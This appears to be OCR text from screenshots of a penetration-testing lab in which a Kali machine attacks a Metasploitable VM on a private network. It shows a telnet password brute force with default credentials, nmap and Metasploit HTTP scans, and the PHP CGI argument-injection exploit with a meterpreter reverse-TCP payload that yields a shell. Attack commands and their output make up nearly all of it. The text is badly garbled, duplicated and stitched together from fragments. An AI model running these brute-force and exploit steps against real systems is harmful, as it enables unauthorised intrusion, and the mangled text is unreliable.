192.168.56. 192.168.56. LOGIN FAILE 123456789 (Incorrect
192.168.56. 192.168.56. LOGIN FAILED: jenish:adminl (Incorrect
192.168.56. 192.168.56. LOGIN FAILE! dmin123 (Incorrect
192.168.56. 192.168.56. LOGIN FATLE! 234 (Incorrect: )
192.168.56. 192.168.56. LOGIN FAILED: jenish:user123 (Incorrect
192.168.56. 192.168.56. LOGIN FAILED: jenish:password (Incorrect
192.168.56. 192.168.56. LOGIN FAILED: jenish:msfadmin (Incorrect
192.168.56. 192.168.56. LOGIN FAILED: jenish:123456789 (Incorrect
192.168.56. 192.168.56. LOGIN FAILED: rubby:adminl (Incorrect: )
192.168.56. 192.168.56. LOGIN FAILED: rubby:admin123 (Incorrect
192.168.56. 192.168.56.105: LOGIN FAILED: rubby:1234 (Incorrect: )

1 192.168.56.105:23 - 192.168.56.105:23 - LOGIN FAILED: rubby:user123 (Incorrect
192.168.56.105:23 192.168.56.105:23 - LOGIN FALLED: rubby:password (Incorrect
192.168.56. 192.168.56. LOGIN FAILED: rubby:msfadmin (Incorrect
192.168.56. 23 192.168.56. 23 - LOGIN FAILEI 123456789 (Incorrect
192.168.56.105:23 192.168.56.105:23 -~ LOGIN FAILED: hub:adminl (Incorrect: )
192.168.56.105:23 192.168.56.105:23 ~ LOGIN FAILED: hub:admin123 (Incorrect: )

. 192.168.56. 23 192.168.56. 23 - LOGIN FAILEI 234 (Incorrect: )

inux-2023.3-virtualbox-amd64 192.168.56. 23 192.168.56. 23 - LOGIN FATLEI ser123 (Incorrect: )

':$ Running USB Controller 192.168.56.105:23 192.168.56.105:23 ~ LOGIN FAILE] :password (Incorrect

192.168.56.105:23 192.168.56.105:23 - LOGIN FALLE! sfadnin (Incorrect

192.168.56. 23 192.168.56. 23 - LOGIN FAILEI 23456789 (Incorrec:

192.168.56.105:23 192.168.56.105:23 ~ LOGIN FAILED: administrater:adminl (Incorrect: )

192.168.56. 192.168.56. LOGIN FAILED: administrater:adnin123 (Incorrec

. 192.168.56. 192.168.56. LOGIN FAILED: administrater:1234 (Incorrect: )

WindowsServer19 192.168.56.105: 192.168.56.105: adninistrater:user123 (Incorrect

W) Powered Off

sfadninenetasploitable:™$ ping 192.168.56.102

pING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
from 192.168.56.102: icmp_seq=1 tt1=64 time=9.17 ms
from 192.168.56.102: icmp_seq=2 tt1=64 time=0.496 ms
from 192.168.56.102: icmp_seq=3 tt1=64 time=0.391 ms

4 bytes from 192.168.56.102: icnp_seq=4 tt1=64 tine=0.381 ms

-- 192.168.56.102 ping statistics

packets transmitted, 4 received, 0% packet loss, time 3007ms
frtt min/avg/max/ndev = 0.381,2.611,9.178/3.791 ns

Device Filters:
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192.168.56. : 192. .56. : administrater:password (Incorrec
192.168.56. 192. .56. administrater:msfadmin (Incorrec
192.168.56. 192. .56. administrater:123456789 (Incorrect
192.168.56. 192. .56. user:adminl (Incorrect
192.168.56. 192. .56. user:admin123 (Incorrec
. . ry: 192.168.56. 192.168.56. user:1234 (Incorrect: )
Link ey el Loombeck e 00,0 e TR 152 260 56 eerueerssd ncarrect
ineto addr: :11,128 Scope:Host top S 192.168.56. 192.168.56. user:password (Incorrec:
UP LOOPBACK RUNNING MTU:16436 Metric:1 F 192.168.56. 192.168.56. user:msfadmin (Incorrect
BX packets:97 errors:0 dropped:0 overrunsi0 frame:i® ta2cdon.00 ey e comect
IX packets:37 errors:0 dropped:0 overruns:o carrier:o e iy bttt S
5% biearsioze 510 > . 192.168.56. 192.168.56. '
BX bytesi21529 (21.0 KB) TX bytes:21529 (21.0 KB) ey ey st Al Dt
192.168.56. 192. .56. Admin:password (Incorrect
192.168.56. 192
192.168.56. 192.168.56. Adnin:123456789 (Incorrect
192.168.56. 192.168.56. CPC:adminl (Incorrect: )
192.168.56. 192. .56. dmin123 (Incorrect
192.168.56. 192.168.56. 234 (Incorrect: )
192.168.56. 192.168.56. CPC:user123 (Incorrect:
192.168.56. 192. .56. assword (Incorrect
192.168.56. 192. .56. sfadmin (Incorrect
192.168.56. 192.168.56. :123456789 (Incorrect:
192.168.56. 192. .56. CPChub:adminl (Incorrec
192.168.56. 192. .56. CPChub:admin123 (Incorrect
192.168.56. 192.168.56. CPChub:1234 (Incorrect: )
192.168.56. 192. .56. CPChul ser123 (Incorrect
192.168.56. 192. .56. CPChub:password (Incorrect
192.168.56. 192. .56. CPChub:msfadmin (Incorrect
192.168.56. 192.168.56. CPChub:123456789 (Incorrec
192.168.56. 192. .56. msfadmin:adminl (Incorrect
192.168.56. 192. .56. msfadmin:admin123 (Incorrect
- 192.168.56. 192. .56. msfadmin:1234 (Incorrec
inux-2023.3-virtualbox-amd64 192.168.56. 192.168.56. nsfadnin:user123 (Incorrec
':$ Running USB Controller 192.168.56 192 :password (Incorrect: )

Device Filters:

collisions:0 txqueuelen:1000
RX bytes:1682 (1.6 KB) TX bytes:3638 (3.5 KB)
Base address:0xd010 Memory:f0000000-f0020000

sfadninenetasploitable:™$ ping 192.168.56.102

pING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
from 192.168.56.102: icmp_seq=1 tt1=64 time=9.17 ms
from 192.168.56.102: icmp_seq=2 tt1=64 time=0.496 ms
from 192.168.56.102: icmp_seq=3 tt1=64 time=0.391 ms

4 bytes from 192.168.56.102: icnp_seq=4 tt1=64 tine=0.381 ms

-- 192.168.56.102 ping statistics
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
frtt min/avg/max/ndev = 0.381,2.611,9.178/3.791 ns

192.168.56. Attempting to start session 192.168.56.105:23 with msfadmin:msfadnin
Command shell session 1 opened (192.168.56.102:39051 —> 192,168.56.105:23) at 2023-12-27 1
192.168.56.105:23 - Scanned 1 of 1 hosts (100% complete)

. Auxiliary module execution completed

WindowsServer19 nsf6 auxiliary(scanner/telnet/telnet_login) > [l
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collisions:0 txqueuelen:1000
RX bytes:1682 (1.6 KB) TX bytes:3638 (3.5 KB)
Base address:0xd010 Memory:f0000000-f 0020000

Link encap:Local Loopback
inet addr:127.

inet6 addr: ::1,128 Scope

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:97 errors:0 dropped:0 overruns:0 frame:0
TX packets:97 errorsi0 dropped:0 overrunsi0 carrier:0
collisions:0 txqueuelen:0

RX bytes:21529 (21.0 KB) TX bytes:21529 (21.0 KB)

sfadninenetasploitable:™$ ping 192.168.56.102

pING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
from 192.168.56.102: icmp_seq i 17 ms
from 192.168.56.102: icmp_seq i .496 ns
from 192.168.56.102: icmp_seq i .391 ns

4 bytes from 192.168.56.102: icmp_seq i .381 ns

-- 192.168.56.102 ping statistics ———
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
frtt min/avg/max/ndev = 0.381,2.611,9.178/3.791 ns

sfadmin@netasploitabl.

sfadnin@netasploitabl.

nux-2023.3-virtualbox-amd64

WindowsServer19

@ Powered Off

i@ kali-linu 3-virtualbox-amd64 [Running] - Oracle VM Virtual

File Machine View Input De

root@kali: ~
File Actions Edit View Help

100t® kali)-[~:

0 192.168.56.105 23
Trying 192.168.56.105
Connected to 192.168.56.105
Escape character is ']’

Warning: Never expose this VM to an untrusted network
Contact: msfdev[atImetasploit.com

Login with msfadmin/msfadnin to get started

metasploitable login: msfadmin
Password:

Login incorrect
metasploitable login: msfadnin

Password:

Last login: Wed Dec 27 14:51:07 EST 2023 on pts/1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/+/copyright

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit
http://help.ubuntu.com/

No mail.

msfadninametasploitable:~$ 1s

vulnerable

O A 05| a c

0134 AM
]

Aos W] )
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Login incorrect
metasploitable login: msfadmin

Password

Last login: Wed Dec 27 14:51:07 EST 2023 on pts/1

Linux metasploitable 2.6.24-16-server #1 SWP Thu Apr 10 13:58:

UTC 2008 1686

The prograns included with the Ubuntu system are free softwar:
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http: //help.ubuntu. con/

No mail

msfadningnetasploitable:~$ 1s
vulnerable

msfadningnetasploitable:~$ uname -a

Linux metasploitable 2.6.26-16-server #1 SWP Thu Apr 10 13:58:
msfadmingmetasploitable:

UTC 2008 1686 GNU/Linux
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$ nmap -5V 192.168.56.105 - 80

Starting Mmap 7.94 ( https://nnap.org ) at 2023-12-29 22:36 EST
Neap scan report for 192.168.56.105

Host 15 up (9.00044s latency).

PORT  STATE SERVICE VERSION
80/tcp open http  Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Service detection perforned. Please report any incorrect results at https://nmap.org/submit/ .
Nnap done: 1 1P address (1 host up) scanned in 6.43 seconds

—(kali® kali)-[~
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i@ kali-linux-2023 3-virtualbox-amd64 [Running] - Oracle VM VirtualBox

Fle  Machine View Input Devices Help

Smmpko e OG0 A onT|a

File Actions Edit View Help

[~ Unknown command: serach
msf6 > search http_ver

Matching Modules

e —— Name Disclosure Date Rank  Check Description
sfadnin@netasploitable:”$ i e
H H . . y/scanner/ht tp/FEEPINEEs ion normal No HTTP Version Detection

sladninenetasploitable "3 ifconf iy exploit/multi/http/nostromo_code_exec 2019-10-20 good  Yes  Nostromo Directory Traversal
tho Link encap:Ethernet Huaddr 08:00:27:43:96:fc el s

inet addr:192.168.56.105 Bcast:192.168.56.255 Mask:255.255.255.0

inet6 addr: £eBO::a00:27ff :fe43:96fc/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:i

Interact with a module b dex. F 1

RX packets:9897 errors:@ dropped: overruns:0 frame:0 A g b g el

TX packets:66958 error: overruns:0 carrier:0

collisions:0 txqueuele e AR

RX bytes:2072571 (1.9 MB) TX bytes:11399530 (10.8 MB) | ey

s 1016 Hemamy 1 8066660- 0020006 . msf6 auxiliary(scanner/nttp/hitp version) > show options

Link encap:Local Loopback Module options (auxiliary/scanner/http/http_version)
;:2:;::; ?2?:0}%; s::;‘;fﬁgzio'o'o Name Current Setting Required Description
UP LOOPBACK RUNNING MTU:16436 Hetric:l Proxies no A proxy chain of format type:host:port[,type:host:port][ ...]
RX packets:3231 errors:0 dropped:0 overruns:0 frame:0 RHOSTS. S The target host(s), see https://dacs.metasploit.con/docs/using-meta
TX packets:3231 errors:0 dropped:0 overruns:0 carrier:0 sploit/basics/using-metasploit.html
collisions:0 txqueuele RPORT 80 :
n . yes The target port (TCP)
RX bytes:1560153 (1.4 MB) TX bytes:1560153 (1.4 MB) ssL false no Negotiate SSL/TLS for outgoing connections
i i THREADS 1 yes The number of concurrent threads (max one per host)
sfadnin@netasploitable VHOST no HTTP server virtual host
sfadninenetasploitable
sfadninenetasploitable:

View the full module info with the , or command
msf6 auxiliary(scanner/iiip/iiip version) > set RHOSTS 192.168.56.105

HOSTS = 192.168.56.105
msf6 auxiliary(scanner/ittp/hitn version) > show options

@ {o @ ) 7@[[@@ H (ool o (S Sy A )
[ Ri
& Required Description

Name  current setting
WindowsServer19 [ Network

Adapter 1:  Intel B
Adapter 2:  Intel B
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sfadninenetasploitable
sfadninenetasploitable:™$
sfadninenetasploitable:™$ ifconfig
e tho Link encap:Ethernet HUWaddr 08:00:27:43:96:fc
inet addr:192.168.56.105 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: £eB0::a00:27ff :fe43:96fc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:9897 errors:0 dropped:0 overruns:® frame:0
TX packets:66958 error: overruns:0 carrier:0
collisions:0 txqueuele
RX bytes:2072571 (1.9 MB) TX bytes:11399530 (10.8 MB)
Base address:0xd010 Hemory:f0000000-Ff 0020000

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:i

RX packets:3231 errors:0 dropped:0 overruns:0 frame:0
TX packets:3231 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuele

RX bytes:1560153 (1.4 MB) TX bytes:1560153 (1.4 MB)
sfadninenetasploitable

sfadninenetasploitable

sfadninenetasploitable:

RokEag E@U@Wﬁ:

WindowsServer19

Adapter 1:
Adapter 2

i@ kali-linux-2023 3-virtualbox-amd64 [Running] - Oracle VM VirtualBox

Fle  Machine View Input Devices Help

File Actions Edit View Help

msf6 auxiliary(scanner/itip/hiip version) > set RHOSTS 192.168.56.105
RHOSTS = 192.168.56.105
msf6 auxiliary(scanner/itip/iiin version) > show options

Module options (auxiliary/scanner/http/http_version):

Name  Current Setting Required Description

A proxy chain of format type:host:port[,type:host:port][ ...
The target host(s), see https://docs.metasploit.con/docs/using-meta
sploit/basics/using-metasploit.html

The target port (TCP)

Negotiate SSL/TLS for outgoing connections

The number of concurrent threads (max one per host)

HTTP server virtual host

Proxies no
RHOSTS ~ 192.168.56.105  yes

RPORT 80 yes
ssL false no
THREADS 1 yes
VHOST no

View the full module info with the , or command

wsf6 auxiliary(scanner/http/http_version) > run

192.168.56.105:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntus.10 )
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary(scanner/niip/nttp version) > back

nsf6 > search dir_list

Matching Modules

# Name Disclosure Date Rank  Check Description

0 auxiliary/scanner/http/BEENIESEing
Scanner

1 auxiliary/admin/http/manageengine GENMIESEing 2015-01-28
roducts Arbitrary Directory Listing

normal No  HTTP Directory Listing

normal No  ManageEngine Multiple

Interact with a module by name or index. For example

Intel B
Intel B
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i@ kali-linux-2023 3-virtualbox-amd64 [Running] - Oracle VM VirtualBox

File

Machine  View Input Devices  Help

v[1 2 3 4@ ‘o

ali@kali

File Actions Edit View Help

Interact with a module by name or index. For example

msf6 > search dir_scanner

Matching Modules

# Name

Disclosure Date

O % A 025%|a

Rank  Check Description

0 auxiliary/scanner/http/diISEanNEE

Interact with a module by name or index. For example

sf6 > use 0
msf6 auxiliary(scanner/ntip/iic scannes) > show options

Module options (auxiliary/scanner/http/dir_scanner):
Name

current Setting Required

normal No  HTTP Directory Scanner

Description

DICTIONARY /usr/share/metasploit-framewo no
rk/data/wmap/wmap_dirs. txt
PATH /

Proxies
RHOSTS.
RPORT
ssL
THREADS.

VHOST

View the full module info with the , or

Path of word dictionary to use

The path to identify files
A proxy chain of format type:host:port[,type:host
port]l...]

The target host(s), see https://docs.metasploit.co
m/docs/using-metasploit/basics/using-metasploit.ht
ml

The target port (TCP)

Negotiate SSL/TLS for outgoing connections

The number of concurrent threads (max one per host
)

HTTP server virtual host

command.

msf6 auxiliary(scanner/itip/dir scanner) > set RHOSTS 192.168.56.105

RHOSTS = 192.168.56.105
msf6 auxiliary(scanner/ittp/dir scanner) > run
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RX packets:9897 errors:0 dropped:0 overruns:® frame:0
TX packets:66958 error: overruns:0 carrier:0
collisions:0 txqueuele
RX bytes:2072571 (1.9 MB) TX bytes:11399530 (10.8 MB)
Base address:0xd010 Hemory:f0000000-Ff 0020000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:i

RX packets:3231 errors:0 dropped:0 overruns:0 frame:0
TX packets:3231 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuele
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msf6 auxiliary(scanner/ntip/iic scanner) > set RHOSTS 192.168.56.105
RHOSTS = 192.168.56.105
msf6 auxiliary(scannes/ntip/dir scanner) > run

Detecting error code
Using code as not found for 192.168.56.105
Found http: .168.56.105:80/cgi-bin/ 403 (192.168.56.105)
Found http: .168.56.105:80/doc/ 200 (192.168.56.105)
Found http: .168.56.105:80/icons/ 200 (192.168.56.105)
Found http: .168.56.105:80/index/ 200 (192.168.56.105)
Found http .168.56.105:80/phpMyAdmin/ 200 (192.168.56.105)
Found http: .168.56.105:80/test/ 200 (192.168.56.105)
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary(scamner/niep/din scanner) > back

nsf6 > search php_cgi

Matching Modules

# Name Disclosure Date Rank

Check Description

0 exploit/multi/http/piplEEH arg_injection 2012-05-03 Yes PHP CGI Argument Inject]

Interact with a module by name or index. For example

sf6 > use 0
No payload configured, defaulting to php/meterpreter/reverse_tcp

msF6 exploit(uilii/hiin/pip coi are injection) > show options

Module options (exploit/multi/http/php_cgi_arg injection)

Name Current Setting Required Description

PLESK false yes
proxies no
RHOSTS yes

Exploit Plesk

A proxy chain of format type:host:port[,type:host:portll ...

The target host(s), see https://docs.metasploit.com/docs/using-
metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)
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Fle  Machine View Input Devices Help
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ali@kali

File Actions Edit View Help

Name  Current Setting Required Description

The listen address (an interface may be specified)
The listen port

LHOST  192.168.56.105
LPORT 4444

yes
yes

Exploit target:
Id Name
Automatic
command.

View the full module info with the , or

msf6 exploit(uulii/niin/php cai are injection) > set LHOST 192.168.56.102

HOST = 192.168.56.102
5£6 exploit(iilti/httn/php cai ara injection) > show options

Module options (exploit/multi/http/php_cgi_arg injection)

Name Current Setting Required Description

PLESK
Proxies
RHOSTS.

false yes
no

yes

Exploit Plesk

A proxy chain of format type:host:port[,type

The target host(s), see https://docs.metasploit.com/docs/using-
metasploit/basics/using-metasploit.html

The target port (TCP)

Negotiate SSL/TLS for outgoing comnections

The URT to request (must be a CGI-handled PHP script)

Level of URT URIENCODING and padding (0 for minimum)

HTTP server virtual host

192.168.56.105

RPORT
ssL
TARGETURL
URIENCODING 0
VHOST

80
false

yes
no
no
yes
no

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description

The listen address (an interface may be specified)
The listen port

LHOST  192.168.56.102
LPORT  44ék

yes
yes





image32.png
sfadninenetasploitable
sfadninenetasploitable:™$
sfadninenetasploitable:™$ ifconfig
e tho Link encap:Ethernet HUWaddr 08:00:27:43:96:fc
inet addr:192.168.56.105 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: £eB0::a00:27ff :fe43:96fc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:9897 errors:0 dropped:0 overruns:® frame:0
TX packets:66958 error: overruns:0 carrier:0
collisions:0 txqueuele
RX bytes:2072571 (1.9 MB) TX bytes:11399530 (10.8 MB)
Base address:0xd010 Hemory:f0000000-Ff 0020000

Link enca)
inet addr:127.0.0.1
inet6 addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:i

RX packets:3231 errors:0 dropped:0 overruns:0 frame:0
TX packets:3231 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuele

RX bytes:1560153 (1.4 MB)

ocal Loopback
Mask:255.0.0.0

TX bytes:1560153 (1.4 MB)

sfadninenetasploitable
sfadninenetasploitable
sfadninenetasploitable:

RokEag E@U@Wﬁ:

WindowsServer19

Adapter 1:
Adapter 2

Intel B
Intel B
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ali@kali

File Actions Edit View
LPORT 4444

Help

The Listen port

Exploit target:
Id Name

Automatic

View the full module info with the , or
nsf6 exploit(multi/http/php_cgiarg.injection) > exploit

Started reverse TCP handler on 192.168.56.102:4444
Sending stage (39927 bytes) to 192.168.56.105

command.

Oracle VM VirtualBox

Meterpreter session 1 opened (192.168.56.102:4444 — 192.168.56.105:47604) at 2023-12-29 22:46:12 -0504

meterpreter > sysinfo
Computer metasploitable

os : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 686

Meterpreter : php/linux
meterpreter > shell

Process 6805 created.

Channel 0 created.

id

uid-33(wmi-data) gid=33(wmi-data) groups=33(wwi-data)

index.php
mutillidae
phpMyAdmin
phpinfo.php
test
tikiwiki
tikiwiki-old
tuiki

192.168.56.105 - Meterpreter session 1 closed.

Reason:

Died
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